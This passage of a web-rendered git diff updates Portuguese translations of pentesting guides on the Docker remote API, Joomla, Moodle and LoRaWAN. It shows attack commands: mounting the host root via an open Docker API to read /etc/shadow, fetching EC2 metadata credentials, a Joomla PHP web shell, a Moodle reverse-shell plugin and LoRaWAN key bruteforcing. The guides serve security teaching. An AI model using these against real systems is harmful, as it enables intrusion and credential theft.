- **Contêineres Sem Root**: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário que os inicia. Essa abordagem minimiza os riscos associados a brechas em contêineres, garantindo que os atacantes obtenham apenas os privilégios do usuário comprometido, e não acesso root.
|
||||||
|
|
||||||
A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando a gestão de privilégios do usuário e a compatibilidade com fluxos de trabalho existentes do Docker.
|
A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando o gerenciamento de privilégios do usuário e a compatibilidade com fluxos de trabalho existentes do Docker.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!TIP]
|
||||||
> Note que, como o podman visa suportar a mesma API que o docker, você pode usar os mesmos comandos com podman que com docker, como:
|
> Note que, como o podman visa suportar a mesma API que o docker, você pode usar os mesmos comandos com podman que com docker, como:
|
||||||
>
|
>
|
||||||
> ```bash
|
> ```bash
|
||||||
@ -87,7 +87,7 @@ A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfa
|
|||||||
|
|
||||||
### Informações Básicas
|
### Informações Básicas
|
||||||
|
|
||||||
A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Ao usar a API remota, pode-se anexar hosts / (diretório raiz) ao contêiner e ler/gravar arquivos do ambiente do host.
|
A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Ao usar a API remota, pode-se anexar hosts / (diretório raiz) ao contêiner e ler/escrever arquivos do ambiente do host.
|
||||||
|
|
||||||
**Porta padrão:** 2375
|
**Porta padrão:** 2375
|
||||||
```
|
```
|
||||||
@ -98,7 +98,7 @@ PORT STATE SERVICE
|
|||||||
|
|
||||||
#### Manual
|
#### Manual
|
||||||
|
|
||||||
Note que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl`, como no seguinte exemplo:
|
Observe que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl`, como no seguinte exemplo:
|
||||||
```bash
|
```bash
|
||||||
#Using curl
|
#Using curl
|
||||||
curl -s http://open.docker.socket:2375/version | jq #Get version
|
curl -s http://open.docker.socket:2375/version | jq #Get version
|
||||||
@ -134,12 +134,12 @@ docker-init:
|
|||||||
Version: 0.18.0
|
Version: 0.18.0
|
||||||
GitCommit: fec3683
|
GitCommit: fec3683
|
||||||
```
|
```
|
||||||
Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos** do **docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço.
|
Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos do docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!TIP]
|
||||||
> Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker
|
> Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker
|
||||||
|
|
||||||
**Escalação rápida de privilégios**
|
**Escalada de privilégios rápida**
|
||||||
```bash
|
```bash
|
||||||
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||||||
```
|
```
|
||||||
@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
|||||||
#List processes inside a container
|
#List processes inside a container
|
||||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
||||||
#Set up and exec job to hit the metadata URL
|
#Set up and exec job to hit the metadata URL
|
||||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
|
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
|
||||||
#Get the output
|
#Get the output
|
||||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
||||||
# list secrets (no secrets/swarm not set up)
|
# list secrets (no secrets/swarm not set up)
|
||||||
@ -190,7 +190,7 @@ Na página a seguir, você pode encontrar maneiras de **escapar de um contêiner
|
|||||||
../linux-hardening/privilege-escalation/docker-security/
|
../linux-hardening/privilege-escalation/docker-security/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Abusando disso, é possível escapar de um contêiner; você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina:
|
Abusando disso, é possível escapar de um contêiner, você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina:
|
||||||
```bash
|
```bash
|
||||||
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
||||||
cat /mnt/etc/shadow
|
cat /mnt/etc/shadow
|
||||||
|
|||||||
@ -5,7 +5,7 @@
|
|||||||
|
|
||||||
### Estatísticas do Joomla
|
### Estatísticas do Joomla
|
||||||
|
|
||||||
O Joomla coleta algumas [estatísticas de uso](https://developer.joomla.org/about/stats.html) anônimas, como a distribuição das versões do Joomla, PHP e bancos de dados, além dos sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados por meio de sua [API](https://developer.joomla.org/about/stats/api.html) pública.
|
O Joomla coleta algumas [estatísticas de uso](https://developer.joomla.org/about/stats.html) anônimas, como a distribuição das versões do Joomla, PHP e dos sistemas de banco de dados, além dos sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados através de sua [API](https://developer.joomla.org/about/stats/api.html) pública.
|
||||||
```bash
|
```bash
|
||||||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||||
|
|
||||||
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
|||||||
1- What is this?
|
1- What is this?
|
||||||
* This is a Joomla! installation/upgrade package to version 3.x
|
* This is a Joomla! installation/upgrade package to version 3.x
|
||||||
* Joomla! Official site: https://www.joomla.org
|
* Joomla! Official site: https://www.joomla.org
|
||||||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
|
||||||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
||||||
```
|
```
|
||||||
### Versão
|
### Versão
|
||||||
@ -92,18 +92,18 @@ admin:admin
|
|||||||
```
|
```
|
||||||
## RCE
|
## RCE
|
||||||
|
|
||||||
Se você conseguiu obter **credenciais de admin**, você pode **RCE dentro dele** adicionando um trecho de **código PHP** para ganhar **RCE**. Podemos fazer isso **personalizando** um **template**.
|
Se você conseguiu obter **credenciais de admin**, pode **RCE dentro dele** adicionando um trecho de **código PHP** para ganhar **RCE**. Podemos fazer isso **personalizando** um **template**.
|
||||||
|
|
||||||
1. **Clique** em **`Templates`** no canto inferior esquerdo sob `Configuration` para abrir o menu de templates.
|
1. **Clique** em **`Templates`** no canto inferior esquerdo sob `Configuration` para abrir o menu de templates.
|
||||||
2. **Clique** em um nome de **template**. Vamos escolher **`protostar`** sob o cabeçalho da coluna `Template`. Isso nos levará à página **`Templates: Customise`**.
|
2. **Clique** em um nome de **template**. Vamos escolher **`protostar`** sob o cabeçalho da coluna `Template`. Isso nos levará à página **`Templates: Customise`**.
|
||||||
3. Finalmente, você pode clicar em uma página para abrir o **código fonte** da página. Vamos escolher a página **`error.php`**. Vamos adicionar um **PHP one-liner para ganhar execução de código** da seguinte forma:
|
3. Finalmente, você pode clicar em uma página para abrir o **código fonte** da página. Vamos escolher a página **`error.php`**. Adicionaremos um **PHP one-liner para ganhar execução de código** da seguinte forma:
|
||||||
1. **`system($_GET['cmd']);`**
|
1. **`system($_GET['cmd']);`**
|
||||||
4. **Salvar & Fechar**
|
4. **Salvar & Fechar**
|
||||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
||||||
|
|
||||||
## De XSS a RCE
|
## De XSS a RCE
|
||||||
|
|
||||||
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script de Exploração Joomla que **eleva XSS a RCE ou Outras Vulnerabilidades Críticas**. Para mais informações, confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para as Versões Joomla 5.X.X, 4.X.X e 3.X.X, e permite:**
|
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script de Exploração Joomla que **eleva XSS a RCE ou Outras Vulnerabilidades Críticas**. Para mais informações, consulte [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para as Versões Joomla 5.X.X, 4.X.X e 3.X.X, e permite:**
|
||||||
- _**Escalação de Privilégios:**_ Cria um usuário no Joomla.
|
- _**Escalação de Privilégios:**_ Cria um usuário no Joomla.
|
||||||
- _**(RCE) Edição de Templates Integrados:**_ Edita Templates Integrados no Joomla.
|
- _**(RCE) Edição de Templates Integrados:**_ Edita Templates Integrados no Joomla.
|
||||||
- _**(Custom) Exploits Personalizados:**_ Exploits Personalizados para Plugins de Terceiros do Joomla.
|
- _**(Custom) Exploits Personalizados:**_ Exploits Personalizados para Plugins de Terceiros do Joomla.
|
||||||
|
|||||||
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
|
|||||||
3.10.0-beta
|
3.10.0-beta
|
||||||
|
|
||||||
[+] Possible interesting urls found:
|
[+] Possible interesting urls found:
|
||||||
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
|
||||||
Admin panel - http://moodle.schooled.htb/moodle/login/
|
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
|
||||||
|
|
||||||
[+] Scan finished (0:00:05.643539 elapsed)
|
[+] Scan finished (0:00:05.643539 elapsed)
|
||||||
```
|
```
|
||||||
@ -72,7 +72,7 @@ Você precisa ter o papel de **gerente** e você **pode instalar plugins** dentr
|
|||||||
|
|
||||||
Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||||
|
|
||||||
Então, você pode **instalar o seguinte plugin** que contém o clássico pentest-monkey php r**ev shell** (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_)
|
Então, você pode **instalar o seguinte plugin** que contém o clássico rev shell php do pentest-monkey (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_)
|
||||||
|
|
||||||
{{#file}}
|
{{#file}}
|
||||||
moodle-rce-plugin.zip
|
moodle-rce-plugin.zip
|
||||||
|
|||||||
@ -25,7 +25,7 @@ Long Range (**LoRa**) é atualmente a camada física LPWAN mais implantada e sua
|
|||||||
| Camada | Fraqueza | Impacto prático |
|
| Camada | Fraqueza | Impacto prático |
|
||||||
|--------|----------|------------------|
|
|--------|----------|------------------|
|
||||||
| PHY | Jamming reativo / seletivo | 100 % de perda de pacotes demonstrada com um único SDR e <1 W de saída |
|
| PHY | Jamming reativo / seletivo | 100 % de perda de pacotes demonstrada com um único SDR e <1 W de saída |
|
||||||
| MAC | Repetição de Join-Accept & data-frame (reutilização de nonce, rollover de contador ABP) | Spoofing de dispositivo, injeção de mensagem, DoS |
|
| MAC | Repetição de Join-Accept & data-frame (reutilização de nonce, rollover de contador ABP) | Spoofing de dispositivo, injeção de mensagens, DoS |
|
||||||
| Servidor de Rede | Encaminhador de pacotes inseguro, filtros MQTT/UDP fracos, firmware de gateway desatualizado | RCE em gateways → pivotar para a rede OT/IT |
|
| Servidor de Rede | Encaminhador de pacotes inseguro, filtros MQTT/UDP fracos, firmware de gateway desatualizado | RCE em gateways → pivotar para a rede OT/IT |
|
||||||
| Aplicação | AppKeys codificadas ou previsíveis | Força bruta/descriptografar tráfego, impersonar sensores |
|
| Aplicação | AppKeys codificadas ou previsíveis | Força bruta/descriptografar tráfego, impersonar sensores |
|
||||||
|
|
||||||
@ -50,13 +50,13 @@ python3 lorattack/sniffer.py \
|
|||||||
# Bruteforce AppKey from captured OTAA join-request/accept pairs
|
# Bruteforce AppKey from captured OTAA join-request/accept pairs
|
||||||
python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||||
```
|
```
|
||||||
### 2. OTAA join-replay (reutilização de DevNonce)
|
### 2. Repetição de join OTAA (reutilização de DevNonce)
|
||||||
|
|
||||||
1. Capture um **JoinRequest** legítimo.
|
1. Capture um **JoinRequest** legítimo.
|
||||||
2. Retransmita-o imediatamente (ou incremente o RSSI) antes que o dispositivo original transmita novamente.
|
2. Retransmita-o imediatamente (ou incremente o RSSI) antes que o dispositivo original transmita novamente.
|
||||||
3. O servidor de rede aloca um novo DevAddr e chaves de sessão enquanto o dispositivo alvo continua com a sessão antiga → o atacante possui a sessão vaga e pode injetar uplinks forjados.
|
3. O servidor de rede aloca um novo DevAddr e chaves de sessão enquanto o dispositivo alvo continua com a sessão antiga → o atacante possui a sessão vaga e pode injetar uplinks forjados.
|
||||||
|
|
||||||
### 3. Downgrade de Adaptive Data-Rate (ADR)
|
### 3. Rebaixamento da Taxa de Dados Adaptativa (ADR)
|
||||||
|
|
||||||
Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de trabalho do gateway (negação de serviço) enquanto mantém o impacto na bateria do atacante baixo (apenas envie comandos MAC em nível de rede).
|
Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de trabalho do gateway (negação de serviço) enquanto mantém o impacto na bateria do atacante baixo (apenas envie comandos MAC em nível de rede).
|
||||||
|
|
||||||
@ -72,7 +72,7 @@ Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de
|
|||||||
|-------------|-----------|-------|
|
|-------------|-----------|-------|
|
||||||
| **LoRaWAN Auditing Framework (LAF)** | Criar/analisar/atacar quadros LoRaWAN, analisadores com suporte a DB, força bruta | Imagem Docker, suporta entrada UDP Semtech |
|
| **LoRaWAN Auditing Framework (LAF)** | Criar/analisar/atacar quadros LoRaWAN, analisadores com suporte a DB, força bruta | Imagem Docker, suporta entrada UDP Semtech |
|
||||||
| **LoRaPWN** | Utilitário Python da Trend Micro para força bruta OTAA, gerar downlinks, descriptografar payloads | Demonstração lançada em 2023, SDR-agnóstico |
|
| **LoRaPWN** | Utilitário Python da Trend Micro para força bruta OTAA, gerar downlinks, descriptografar payloads | Demonstração lançada em 2023, SDR-agnóstico |
|
||||||
| **LoRAttack** | Sniffer multi-canal + replay com USRP; exporta PCAP/LoRaTap | Boa integração com Wireshark |
|
| **LoRAttack** | Sniffer multi-canal + repetição com USRP; exporta PCAP/LoRaTap | Boa integração com Wireshark |
|
||||||
| **gr-lora / gr-lorawan** | Blocos OOT do GNU Radio para TX/RX de banda base | Fundação para ataques personalizados |
|
| **gr-lora / gr-lorawan** | Blocos OOT do GNU Radio para TX/RX de banda base | Fundação para ataques personalizados |
|
||||||
|
|
||||||
---
|
---
|
||||||
@ -89,6 +89,6 @@ Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de
|
|||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
|
* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||||
* Visão geral do Trend Micro LoRaPWN – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
* Visão geral do Trend Micro LoRaPWN – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user